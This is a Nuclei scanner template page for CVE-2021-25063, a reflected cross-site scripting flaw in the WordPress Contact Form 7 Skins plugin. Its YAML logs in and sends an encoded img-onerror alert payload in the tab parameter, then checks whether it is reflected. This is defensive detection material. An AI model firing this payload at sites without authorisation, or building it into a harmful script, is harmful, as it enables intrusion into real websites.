WordPress Contact Form 7 Skins <=2.5.0 - Cross-Site Scripting

ID: CVE-2021-25063

Severity: medium

Author: dhiyaneshDk

Tags: cve2021,cve,wpscan,wordpress,wp-plugin,xss,contactform,authenticated,cf7skins

Description

WordPress Contact Form 7 Skins plugin 2.5.0 and prior contains a reflected cross-site scripting vulnerability. It does not sanitize and escape the tab parameter before outputting it back in an admin page.

YAML Source

id: CVE-2021-25063

info:
  name: WordPress Contact Form 7 Skins <=2.5.0 - Cross-Site Scripting
  author: dhiyaneshDk
  severity: medium
  description: WordPress Contact Form 7 Skins plugin 2.5.0 and prior contains a reflected cross-site scripting vulnerability. It does not sanitize and escape the tab parameter before outputting it back in an admin page.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into the website, potentially leading to unauthorized access, data theft, or defacement.
  remediation: |
    Update to the latest version of the WordPress Contact Form 7 Skins plugin (2.5.1) or apply the vendor-supplied patch.
  reference:
    - https://wpscan.com/vulnerability/e2185887-3e53-4089-aa3f-981c944ee0bb
    - https://nvd.nist.gov/vuln/detail/CVE-2021-25063
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-25063
    cwe-id: CWE-79
    epss-score: 0.00106
    epss-percentile: 0.43227
    cpe: cpe:2.3:a:cf7skins:contact_form_7_skins:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 2
    vendor: cf7skins
    product: contact_form_7_skins
    framework: wordpress
  tags: cve2021,cve,wpscan,wordpress,wp-plugin,xss,contactform,authenticated,cf7skins

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Origin: {{RootURL}}
        Content-Type: application/x-www-form-urlencoded
        Cookie: wordpress_test_cookie=WP%20Cookie%20check

        log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1
      - |
        GET /wp-admin/admin.php?page=cf7skins&tab=%27%3E%3Cimg+src+onerror%3Dalert%28document.domain%29%3E HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "<img src onerror=alert(document.domain)>' type='hidden"

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100b7949f3fa25d9eb8fb09782163e9952368215a9f973112f0e1f0566b7eabe844022100c8de597cff72a661e7ece7bb4f7542a73f2d8faf2af359c803329ba79d58ba46:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2021/CVE-2021-25063.yaml"

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